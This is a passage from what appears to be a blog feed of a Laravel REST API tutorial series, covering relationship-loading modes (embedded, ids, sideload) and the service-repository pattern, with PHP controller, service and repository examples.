</span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Yvonne"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.lone@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Administrator"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre> </div> <p> This data is loaded with the <code>embedded</code> mode, meaning that relationships of resources are nested within. In this case it would be that <i>inside</i> each <code>User</code> is a <i>embedded</i> collection of its <code>Role</code>s. This is the default way to load relationships with Eloquent. Let us check out some other modes. </p> <p><code>GET /users?includes[]=roles:ids</code></p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nt">"users"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Elbek"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.kat@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Obling"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.agent@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Yvonne"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.lone@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre> </div> <p> In the <code>ids</code> mode Architect will simply return the <i>primary key</i> of the related model. </p> <p><code>GET /users?includes[]=roles:sideload</code></p> <div class="language-json highlighter-rouge"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nt">"users"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Elbek"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.kat@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Katrine Obling"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.agent@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w"> </span><span class="nt">"active"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Yvonne"</span><span class="p">,</span><span class="w"> </span><span class="nt">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"demo.lone@traede.com"</span><span class="p">,</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">],</span><span class="w"> </span><span class="nt">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Administrator"</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Agent"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre> </div> <p> In the last mode <code>sideload</code> all the embedded relationships are hoisted into its own collection at the root level. This removes duplicated entries of the embedded mode and can result in smaller responses. </p> <h2 id="conclusion">Conclusion</h2> <p> To really build a good and useful API one most think about the consumers of it. Think of it like a business: your customers should love your product. One of the things that makes it a hell to build a client to an API is when the API does not offer flexibility in the returned data set. What related resources should be included (and how)? Sorting, filtering, pagination is all essential when building stuff like lists and data tables (the bread and butter of any SaaS application). </p> <p> By implementing a few simple libraries like <a href="https://github.com/esbenp/architect">Optimus\Architect</a>, <a href="https://github.com/esbenp/bruno"> Optimus\Bruno</a> and <a href="https://github.com/esbenp/genie">Optimus\Genie</a> you can rapidly create resources that scale well and easily grant your consumers the flexibility they need whilst keeping your own development flow sane. </p> <p> The full code to this article can be found here: <a href="https://github.com/esbenp/larapi-series-part-2">larapi-series-part-2</a> </p> <p> All of these ideas and libraries are new and underdeveloped. Are you interested in helping out? Reach out on <a href="mailto:esbenspetersen@gmail.com">e-mail</a>, <a href="https://twitter.com/esbenp">twitter</a> or <a href="https://github.com/esbenp/larapi/issues">the Larapi repository</a> </p> Fri, 15 Apr 2016 18:19:00 +0200 http://esbenp.github.io/2016/04/15/modern-rest-api-laravel-part-2/ http://esbenp.github.io/2016/04/15/modern-rest-api-laravel-part-2/ A modern REST API in Laravel 5 Part 1: Structure <h2 id="tldr">tl;dr</h2> <p> This article will demonstrate how to separate your Laravel project into "folders-by-component" rather than "folders-by-type". Confused? <a href="https://github.com/esbenp/larapi">See the example here</a> or <a href="https://github.com/esbenp/distributed-laravel">the library here</a>. </p> <h2 id="introduction">Introduction</h2> <p> Over time when your API grows in size it also grows in complexity. Many moving parts work together in order for it to function. If you do not employ a scaleable structure you will have a hard time maintaining your API. New additions will cause side effects and breakage in other places etc. </p> <p> It is important to realize in software development no singular structure is the mother of all structures. It is important to build a toolbox of patterns which you can employ given different situations. This article will serve as an opinionated piece on how such a structure <i>could</i> look. It has enabled <a href="http://traede.com/company">my team and I</a> to keep building features without introducing (too many :-)) breakages. For me, the structure I am about to show you works well right now, however it might well be that we refactor into a new one tomorrow. With that said, I hope you will find inspiration in what I am about to show you. :-) </p> <h2 id="agenda">Agenda</h2> <p> We will take a look at structure on three different levels. </p> <ol> <li>Application flow pattern</li> <li>Project folder structure</li> <li>Resource folder structure</li> </ol> <h2 id="level-1-application-flow-pattern">Level 1: Application flow pattern</h2> <p> Too make our project more scalable it is always a good idea to separate our code base into smaller chunks. I have seen plenty of Laravel projects where everything is written inside controller classes: authentication, input handling, authorization, data manipulation, database operations, response creation etc. Imagine something like this... </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">class</span> <span class="nc">UserController</span> <span class="k">extends</span> <span class="nx">Controller</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">create</span><span class="p">(</span><span class="nx">Request</span> <span class="nv">$request</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">Auth</span><span class="o">::</span><span class="na">check</span><span class="p">())</span> <span class="p">{</span> <span class="k">return</span> <span class="nx">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">json</span><span class="p">([</span> <span class="s1">'error'</span> <span class="o">=&gt;</span> <span class="s2">"You are not authenticated"</span> <span class="p">],</span> <span class="mi">401</span><span class="p">);</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="nx">Gate</span><span class="o">::</span><span class="na">denies</span><span class="p">(</span><span class="s1">'create-user'</span><span class="p">))</span> <span class="p">{</span> <span class="k">return</span> <span class="nx">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">json</span><span class="p">([</span> <span class="s1">'error'</span> <span class="o">=&gt;</span> <span class="s2">"You are no authorized to create users"</span> <span class="p">],</span> <span class="mi">403</span><span class="p">);</span> <span class="p">}</span> <span class="nv">$data</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'user'</span><span class="p">);</span> <span class="nv">$email</span> <span class="o">=</span> <span class="nv">$data</span><span class="p">[</span><span class="s1">'email'</span><span class="p">];</span> <span class="nv">$exists</span> <span class="o">=</span> <span class="nx">User</span><span class="o">::</span><span class="na">where</span><span class="p">(</span><span class="s1">'email'</span><span class="p">,</span> <span class="nv">$email</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">first</span><span class="p">();</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">is_null</span><span class="p">(</span><span class="nv">$exists</span><span class="p">))</span> <span class="p">{</span> <span class="k">return</span> <span class="nx">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">json</span><span class="p">([</span> <span class="s1">'error'</span> <span class="o">=&gt;</span> <span class="s2">"A user with the email </span><span class="nv">$email</span><span class="s2"> already exists!"</span> <span class="p">]);</span> <span class="p">}</span> <span class="nv">$user</span> <span class="o">=</span> <span class="nx">User</span><span class="o">::</span><span class="na">create</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span> <span class="nv">$activation</span> <span class="o">=</span> <span class="nx">Activation</span><span class="o">::</span><span class="na">create</span><span class="p">(</span><span class="nv">$user</span><span class="o">-&gt;</span><span class="na">id</span><span class="p">);</span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="na">activation</span><span class="o">-&gt;</span><span class="na">save</span><span class="p">(</span><span class="nv">$activation</span><span class="p">);</span> <span class="nx">Mail</span><span class="o">::</span><span class="na">send</span><span class="p">(</span><span class="s1">'user.activation'</span><span class="p">,</span> <span class="k">function</span><span class="p">(</span><span class="nv">$message</span><span class="p">)</span> <span class="k">use</span> <span class="p">(</span><span class="nv">$user</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$m</span><span class="o">-&gt;</span><span class="na">from</span><span class="p">(</span><span class="s1">'hello@app.com'</span><span class="p">,</span> <span class="s1">'Your Application'</span><span class="p">);</span> <span class="nv">$m</span><span class="o">-&gt;</span><span class="na">to</span><span class="p">(</span><span class="nv">$user</span><span class="o">-&gt;</span><span class="na">email</span><span class="p">,</span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="na">name</span><span class="p">)</span><span class="o">-&gt;</span><span class="na">subject</span><span class="p">(</span><span class="s1">'Welcome to my crappy app'</span><span class="p">);</span> <span class="p">});</span> <span class="k">return</span> <span class="nx">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">json</span><span class="p">(</span><span class="nv">$user</span><span class="p">,</span> <span class="mi">201</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p class="note"> NOTE: This is very much a contrived example, probably not even valid code, to demonstrate giving controllers too many responsibilities. </p> <p> Now imagine your user resource has many endpoints. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code>GET /users GET /users/{id} POST /users PUT /users/{id} DELETE /users/{id} // etc. </code></pre> </div> <p> The UserController quickly grows into a monstrosity of duct-tape-code barely holding the fort together. It is time for separation of concerns. </p> <h3 id="introducing-the-service-repository-pattern">Introducing the service-repository pattern</h3> <p> In 2013 <a href="https://laracasts.com/lessons/repositories-simplified">the repository pattern was all the rage in the Laravel community</a>. <a href="https://laracasts.com/series/commands-and-domain-events">Then in 2014 it was the command bus</a>. Remember, there is no single pattern which is the one to always choose. New patterns emerge all the time, and they should <i>add to your toolbox, not replace it</i>. </p> <p> Now, for me, the service-repository pattern solves a lot of my issues with complexity. The figure below demonstrates how we use the pattern at <a href="http://traede.com">Traede</a>. </p> <p style="text-align: center"> <img src="/img/service-repository-pattern.png" alt="Service repository pattern in Laravel" /> </p> <h4 id="1-the-controller">1. The controller</h4> <p> The controller is the entry point and exit for the application. It should define the endpoints of our resources. We use it for simple validation using <a href="https://laravel.com/docs/master/validation#validation-quickstart">Laravel's request validation</a> and for parsing any resource control options passed with the request (more on this in part 2). The controller will call the appropriate service class method and format the response in JSON with the correct status code. </p> <h4 id="2-the-middleware">2. The middleware</h4> <p> <a href="http://esbenp.github.io/2015/07/31/implementing-before-after-middleware/">I love the concept of middleware</a>. We use it for many things. However, in our simplified example here it will serve as an <i>authentication checkpoint</i>. More on that in part 4. </p> <h4 id="3-service-class">3. Service class</h4> <p> They way we are seeing the service class is as the glue of the operation. The goal of our example operation <code>POST /users</code> is to create a user. The service class will function as the operator that pulls different classes together in order to complete that operation. </p> <h4 id="4-repositories">4. Repositories</h4> <p> The repository pattern is an easy way to abstract away database operations. This way we separate business logic and SQL logic from our application. More on this in part 2. </p> <h4 id="5-events">5. Events</h4> <p> Using the event system is an effective way abstracting away complexity. It will be used for internal events (like sending the user created notification) and for webhooks. </p> <h3 id="an-example">An example</h3> <p> Alright, let us have a look on how we can use this pattern to implement our endpoint <code>POST /users</code>. So the goal is to create a user, but what steps does that operation entail exactly? </p> <ol> <li>Simple data validation (is it a valid email?)</li> <li>Authenticate the user</li> <li>Authorize that the user has permission to create users</li> <li>Complex data validation (is the email unique?)</li> <li>Create the database record</li> <li>Send email created notification to the new user</li> <li>Return the created user in JSON format with status code 201</li> </ol> <p></p> <h4 id="1-the-controller-1">1. The controller</h4> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">class</span> <span class="nc">UserController</span> <span class="k">extends</span> <span class="nx">Controller</span> <span class="p">{</span> <span class="k">private</span> <span class="nv">$userService</span><span class="p">;</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">__construct</span><span class="p">(</span><span class="nx">UserService</span> <span class="nv">$userService</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userService</span> <span class="o">=</span> <span class="nv">$userService</span><span class="p">;</span> <span class="p">}</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">create</span><span class="p">(</span><span class="nx">CreateUserRequest</span> <span class="nv">$request</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$user</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userService</span><span class="o">-&gt;</span><span class="na">create</span><span class="p">(</span><span class="nv">$request</span><span class="o">-&gt;</span><span class="na">get</span><span class="p">(</span><span class="s1">'user'</span><span class="p">));</span> <span class="k">return</span> <span class="nx">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="na">json</span><span class="p">(</span><span class="nv">$user</span><span class="p">,</span> <span class="mi">201</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">class</span> <span class="nc">CreateUserRequest</span> <span class="k">extends</span> <span class="nx">Request</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">authorize</span><span class="p">()</span> <span class="p">{</span> <span class="k">return</span> <span class="kc">true</span><span class="p">;</span> <span class="p">}</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">rules</span><span class="p">()</span> <span class="p">{</span> <span class="k">return</span> <span class="p">[</span> <span class="s1">'user'</span> <span class="o">=&gt;</span> <span class="s1">'required|array'</span><span class="p">,</span> <span class="s1">'user.email'</span> <span class="o">=&gt;</span> <span class="s1">'required|email'</span> <span class="p">];</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> As it is evident, not a lot of stuff going on. This is to ensure our controllers can grow. It might look empty now, but it will have a decent size (without being to big) once we add 4-5 endpoints more. We have also kept its responsibilities to a minimum thus making the class easy to reason about for other developers than ourself. </p> <h4 id="2-the-middleware-layer">2. The middleware layer</h4> <p> The authentication of our user will happen behind the scenes using Laravel's middleware system and other libraries. We will get to the implementation of this in part 4. For now, just assume it is there. </p> <h4 id="3-the-service-class">3. The service class</h4> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="o">&lt;?</span><span class="nx">php</span> <span class="k">namespace</span> <span class="nx">App\Services</span><span class="p">;</span> <span class="k">use</span> <span class="nx">App\Exceptions\EmailIsNotUniqueException</span><span class="p">;</span> <span class="k">use</span> <span class="nx">App\Events\UserWasCreated</span><span class="p">;</span> <span class="k">use</span> <span class="nx">App\Helpers\UserValidator</span><span class="p">;</span> <span class="k">use</span> <span class="nx">App\Repositories\UserRepository</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Infrastructure\Auth\Authentication</span><span class="p">;</span> <span class="k">use</span> <span class="nx">Illuminate\Events\Dispatcher</span><span class="p">;</span> <span class="k">class</span> <span class="nc">UserService</span> <span class="p">{</span> <span class="k">private</span> <span class="nv">$auth</span><span class="p">;</span> <span class="k">private</span> <span class="nv">$dispatcher</span><span class="p">;</span> <span class="k">private</span> <span class="nv">$userRepository</span><span class="p">;</span> <span class="k">private</span> <span class="nv">$userValidator</span><span class="p">;</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">__construct</span><span class="p">(</span> <span class="nx">Authentication</span> <span class="nv">$auth</span><span class="p">,</span> <span class="nx">Dispatcher</span> <span class="nv">$dispatcher</span><span class="p">,</span> <span class="nx">UserRepository</span> <span class="nv">$userRepository</span><span class="p">,</span> <span class="nx">UserValidator</span> <span class="nv">$userValidator</span> <span class="p">)</span> <span class="p">{</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">auth</span> <span class="o">=</span> <span class="nv">$auth</span><span class="p">;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">dispatcher</span> <span class="o">=</span> <span class="nv">$dispatcher</span><span class="p">;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userRepository</span> <span class="o">=</span> <span class="nv">$userRepository</span><span class="p">;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userValidator</span> <span class="o">=</span> <span class="nv">$userValidator</span><span class="p">;</span> <span class="p">}</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">create</span><span class="p">(</span><span class="k">array</span> <span class="nv">$data</span><span class="p">)</span> <span class="p">{</span> <span class="nv">$account</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">auth</span><span class="o">-&gt;</span><span class="na">getCurrentUser</span><span class="p">();</span> <span class="c1">// Check if the user has permission to create other users. </span> <span class="c1">// Will throw an exception if not. </span> <span class="nv">$account</span><span class="o">-&gt;</span><span class="na">checkPermission</span><span class="p">(</span><span class="s1">'users.create'</span><span class="p">);</span> <span class="c1">// Use our validation helper to check if the given email </span> <span class="c1">// is unique within the account. </span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userValidator</span><span class="o">-&gt;</span><span class="na">isEmailUniqueWithinAccount</span><span class="p">(</span><span class="nv">$data</span><span class="p">[</span><span class="s1">'email'</span><span class="p">],</span> <span class="nv">$account</span><span class="o">-&gt;</span><span class="na">id</span><span class="p">))</span> <span class="p">{</span> <span class="k">throw</span> <span class="k">new</span> <span class="nx">EmailIsNotUniqueException</span><span class="p">(</span><span class="nv">$data</span><span class="p">[</span><span class="s1">'email'</span><span class="p">]);</span> <span class="p">}</span> <span class="c1">// Set the account ID on the user and create the record in the database </span> <span class="nv">$data</span><span class="p">[</span><span class="s1">'account_id'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$account</span><span class="o">-&gt;</span><span class="na">id</span><span class="p">;</span> <span class="nv">$user</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userRepository</span><span class="o">-&gt;</span><span class="na">create</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span> <span class="c1">// If we set the relation right away on the user model, then we can </span> <span class="c1">// call $user-&gt;account without quering the database. This is useful if </span> <span class="c1">// we need to call $user-&gt;account in any of the event listeners </span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="na">setRelation</span><span class="p">(</span><span class="s1">'account'</span><span class="p">,</span> <span class="nv">$account</span><span class="p">);</span> <span class="c1">// Fire an event so that listeners can react </span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">dispatcher</span><span class="o">-&gt;</span><span class="na">fire</span><span class="p">(</span><span class="k">new</span> <span class="nx">UserWasCreated</span><span class="p">(</span><span class="nv">$user</span><span class="p">));</span> <span class="k">return</span> <span class="nv">$user</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <p> Okay, so a lot of stuff going on here. Let us break it down step by step. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="nv">$account</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">auth</span><span class="o">-&gt;</span><span class="na">getCurrentUser</span><span class="p">();</span> <span class="c1">// Check if the user has permission to create other users. // Will throw an exception if not. </span><span class="nv">$account</span><span class="o">-&gt;</span><span class="na">checkPermission</span><span class="p">(</span><span class="s1">'users.create'</span><span class="p">);</span> </code></pre> </div> <p> We get the current user (i.e. the user that makes the request). We have to check if this user has the permission to actually create users. How we do this is covered in part 4. For now, just know that if the user does not have permission to create users an exception will be thrown. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="c1">// Use our validation helper to check if the given email // is unique within the account. </span><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userValidator</span><span class="o">-&gt;</span><span class="na">isEmailUniqueWithinAccount</span><span class="p">(</span><span class="nv">$data</span><span class="p">[</span><span class="s1">'email'</span><span class="p">],</span> <span class="nv">$account</span><span class="o">-&gt;</span><span class="na">id</span><span class="p">))</span> <span class="p">{</span> <span class="k">throw</span> <span class="k">new</span> <span class="nx">EmailIsNotUniqueException</span><span class="p">(</span><span class="nv">$data</span><span class="p">[</span><span class="s1">'email'</span><span class="p">]);</span> <span class="p">}</span> </code></pre> </div> <p> Okay, so I realize this could have been done in the request validation using an <a href="https://laravel.com/docs/master/validation#rule-unique">unique rule</a>. However, this is just to illustrate two things: (I) sometimes you will have to do more complex data manipulation or validation that cannot be done automatically by Laravel. Using helper classes and having the service class "string it all together" is a great way of achieving this. (II) By throwing an exception we abort the flow so we make sure nothing else is executed before the user has fixed the error. More on this in part 3. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="c1">// Set the account ID on the user and create the record in the database </span><span class="nv">$data</span><span class="p">[</span><span class="s1">'account_id'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$account</span><span class="o">-&gt;</span><span class="na">id</span><span class="p">;</span> <span class="nv">$user</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">userRepository</span><span class="o">-&gt;</span><span class="na">create</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span> <span class="c1">// If we set the relation right away on the user model, then we can // call $user-&gt;account without quering the database. This is useful if // we need to call $user-&gt;account in any of the event listeners </span><span class="nv">$user</span><span class="o">-&gt;</span><span class="na">setRelation</span><span class="p">(</span><span class="s1">'account'</span><span class="p">,</span> <span class="nv">$account</span><span class="p">);</span> </code></pre> </div> <p> So in our fictitious example we have 1 account. And each account can have many users. </p> <pre> Accounts 1 -------&gt; n Users </pre> <p> We therefore add the <code>account_id</code> to the data, which the repository will persist in the database. I realize it is simpler to achieve this with <code>$user-&gt;account-&gt;save($account)</code>, however in this example we spare 1 more query to the database. And it is also just to demonstrate there are other ways of achieving the goal. </p> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="c1">// Fire an event so that listeners can react </span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">dispatcher</span><span class="o">-&gt;</span><span class="na">fire</span><span class="p">(</span><span class="k">new</span> <span class="nx">UserWasCreated</span><span class="p">(</span><span class="nv">$user</span><span class="p">));</span> <span class="k">return</span> <span class="nv">$user</span><span class="p">;</span> </code></pre> </div> <p> We fire an event through the event system for listeners to react to. In this example a listener will send the email notification. But more on this in part 5. </p> <p> If we want to decrease the responsibilities of our service class further, we can easily refactor the validation of data and the creation of the database entry to a UserBuilder class. However, for now we will keep the code as is. </p> <h4 id="4-the-repository">4. The repository</h4> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">class</span> <span class="nc">UserRepository</span> <span class="p">{</span> <span class="k">public</span> <span class="k">function</span> <span class="nf">create</span><span class="p">(</span><span class="k">array</span> <span class="nv">$data</span><span class="p">)</span> <span class="p">{</span> <span class="nx">DB</span><span class="o">::</span><span class="na">beginTransaction</span><span class="p">();</span> <span class="k">try</span> <span class="p">{</span> <span class="nv">$user</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">;</span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="na">account_id</span> <span class="o">=</span> <span class="nv">$data</span><span class="p">[</span><span class="s1">'account_id'</span><span class="p">];</span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="na">fill</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="na">save</span><span class="p">();</span> <span class="nv">$activation</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Activation</span><span class="p">;</span> <span class="nv">$activation</span><span class="o">-&gt;</span><span class="na">user_id</span> <span class="o">=</span> <span class="nv">$user</span><span class="o">-&gt;</span><span class="na">id</span><span class="p">;</span> <span class="nv">$activation</span><span class="o">-&gt;</span><span class="na">save</span><span class="p">();</span> <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">Exception</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span> <span class="nx">DB</span><span class="o">::</span><span class="na">rollBack</span><span class="p">();</span> <span class="k">throw</span> <span class="nv">$e</span><span class="p">;</span> <span class="p">}</span> <span class="nx">DB</span><span class="o">::</span><span class="na">commit</span><span class="p">();</span> <span class="k">return</span> <span class="nv">$user</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre> </div> <div class="language-php highlighter-rouge"><pre class="highlight"><code><span class="k">class</span> <span class="nc">User</span> <span class="k">extends</span> <span class="nx">EloquentModel</span> <span class="p">{</span> <span class="k">protected</span> <span class="nv">$fillable</span> <span class="o">=</span> <span class="p">[</span> <span class="s1">'email'</span> <span class="p">];</span> <span class="c1">// Activation relation </span><span class="p">}</span> </code></pre> </div> <p> For now our repository is super simple. Later on, we will let it extend a base class for advanced functionality but for now it will due. Notice, we never let relation properties be fillable. </p> <p> So in our example each user has an activation record that indicates whether or not the user has activated (by clicking an activation link we send our by email). Thus when creating a user we have to create both records and relate them to one another. This is the reason why we wrap our code in a database transaction. Should the activation record creation fail, for whatever reason, we want to fail the user record as well and let the exception bubble up so we can handle it (we will do so in part 3). </p> <p> <img src="/img/service-repository-pattern-2.png" /> </p> <p> Before we get into how we can structure our project folder, let us recap what we did. We divided an operation into different parts that each has a more narrower field of responsibility, thereby effectively allowing our code base to grow. </p> <h3 id="level-2-project-folder-structure">Level 2: Project folder structure</h3> <p> One of the first things that happened as our API grew was that we introduced a lot of custom infrastructure. Things like analytics integration, base repositories, exception handlers, queue infrastructure, testing helpers, custom validation rules etc. became part of our code base. </p> <p> What we realized was that we were mixing <i>business code</i> with <i>infrastructure code</i>. Confused? Think about it. How would 